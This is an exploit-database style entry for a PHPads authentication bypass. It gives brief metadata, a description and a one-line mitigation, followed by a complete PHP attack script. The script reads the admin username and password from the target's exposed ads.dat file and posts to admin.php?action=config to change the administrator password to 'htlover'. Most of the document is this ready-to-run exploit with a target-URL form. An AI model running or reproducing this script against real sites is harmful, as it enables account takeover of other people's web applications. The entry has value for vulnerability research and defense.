PHPads Authentication Bypass Exploit

vendor:

PHPads

by:

Unknown

7,5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: PHPads

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unknown

Unknown

PHPads Authentication Bypass Exploit

This exploit allows an attacker to bypass authentication and change the administrator password of a vulnerable PHPads installation. The exploit works by first retrieving the username and password from the ads.dat file, then using those credentials to access the admin.php?action=config page and change the password to 'htlover'.

Mitigation:

Ensure that authentication credentials are stored securely and that access to the admin.php?action=config page is restricted to authorized users.

Source

Exploit-DB raw data:

<title> PHPads Authentication Bypass  Exploit </title>
<pre>
PHPads Authentication Bypass / Administrator Password Change Exploit
<form method="POST">
Target  : <br><input type="text" name="target" value="<? if($_POST['target']) {echo $_POST['target']; }else{echo 'http://localhost:4545/phpads';} ?>" size="70" /><br /><input type="submit" name="submit" />
</form>
<?php
function catchya($string, $start, $end)
{
	preg_match('/'.$start.'(.*)'.$end.'/', $string, $matches);
	return $matches[1];
}

function login($target)
{
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$target."/ads.dat");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
	$result = curl_exec($ch);
	$username = catchya($result, "user=", "\n");
	$password = catchya($result, "pass=", "\n");
	return array($username,$password);
	curl_close($ch);
}

function adminchange($target, $username, $password)
{
	$post = array('save' => '1',
	'newlogin' => $username,
	'newpass' => "htlover");
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$target);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_COOKIE, 'user='.$username.'; pass='.$password);
	curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
	$result = curl_exec($ch);
	if(preg_match("/Code Generator/", $result))
	{
		return "<br><br><font color=green>Success !! Password changed </font><br>username: ".$username." | password: htlover";
	}else{
		return "Something wrong <br>";
	}
	curl_close($ch);
}

if (isset($_POST['submit']))
{
	$target = $_POST['target'];
	//login($target, $username, $userid);
	$logins = login($target);
	echo "USERNAME :" . $logins[0]; // username
	echo "<br>PASSWORD :" . $logins[1]; // password
	echo adminchange($target.'/admin.php?action=config', $logins[0], $logins[1]);
}




?>
</pre>